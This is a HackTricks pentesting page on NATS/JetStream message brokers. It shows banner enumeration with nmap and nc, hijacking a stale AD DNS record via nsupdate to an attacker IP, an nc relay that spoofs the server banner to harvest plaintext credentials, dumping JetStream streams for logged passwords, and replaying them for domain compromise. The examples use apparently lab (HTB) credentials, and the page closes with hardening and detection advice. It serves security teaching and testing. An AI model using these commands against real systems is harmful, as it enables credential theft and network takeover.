4222 - Pentesting NATS / JetStream

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

NATS is a high-performance message bus that speaks a simple text-based protocol: the server transmits an INFO { ... } JSON banner immediately after TCP connect, and the client replies with a CONNECT {"user":"USERNAME","pass":"PASSWORD",...} frame followed by optional PING/PUB/SUB commands. JetStream adds persistence primitives (Streams & Consumers) on top of the same TCP port (4222/tcp). TLS and authentication are optional, so many internal deployments run plaintext AUTH.

  • Default port: 4222/tcp (4223+ for clustered routes)
  • Stock banner fields: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeration

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

The INFO frame can also be pulled manually:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Install the official CLI (Go ≥1.21) for deeper interaction:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Authentication failures immediately raise nats: Authorization Violation, so valid creds are required for any meaningful RPC.

Credential capture via DNS/service impersonation

  • Identify stale AD DNS entries for the broker hostname (e.g. nats-svc.domain.local). If the record returns NXDOMAIN, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See AD DNS Records abuse for background.
  • Register the hostname to an attacker-controlled IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Mirror the legitimate banner once, then replay it to every connecting client. NATS trusts the first INFO line it sees, so we only need to pipe it through a listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • As soon as an internal client resolves the hijacked name, it will emit a plaintext CONNECT frame containing the user / pass pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even nc is enough to harvest secrets.
  • For longer engagements, run the official server locally (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging already shows usernames; removing the redaction helper or sniffing traffic with Wireshark reveals the full password.

JetStream looting & password hunting

Once any credential is recovered (e.g. Dev_Account_A), store it as a CLI context to avoid retyping:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream discovery usually follows this pattern:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming teams frequently log authentication events into subjects such as logs.auth. If developers persist the raw JSON into a JetStream stream, the payloads may include plaintext AD usernames and passwords:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Retained secrets can then be replayed against Kerberos-only services using netexec smb DC01 -u USER -p PASS -k, enabling full domain compromise.

Hardening & detection

  • Enforce TLS (tls, tls_required, or mTLS via nkey/creds). Without encryption, INFO/CONNECT leaks credentials to anyone on-path.
  • Pinpoint who can update DNS – delegate service records to dedicated accounts and audit Event IDs 257/252 for high-value hostnames. Combine with scavenging alerts so missing broker names cannot be silently re-claimed.
  • Disable credential logging. Scrub secrets before publishing to subjects, set JetStream retention/age limits, and apply deny_delete=false only to trusted operators.
  • Monitor for banner anomalies – repeated short-lived connections, authentication timeouts, or INFO banners that do not match the blessed template suggest spoofed servers.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks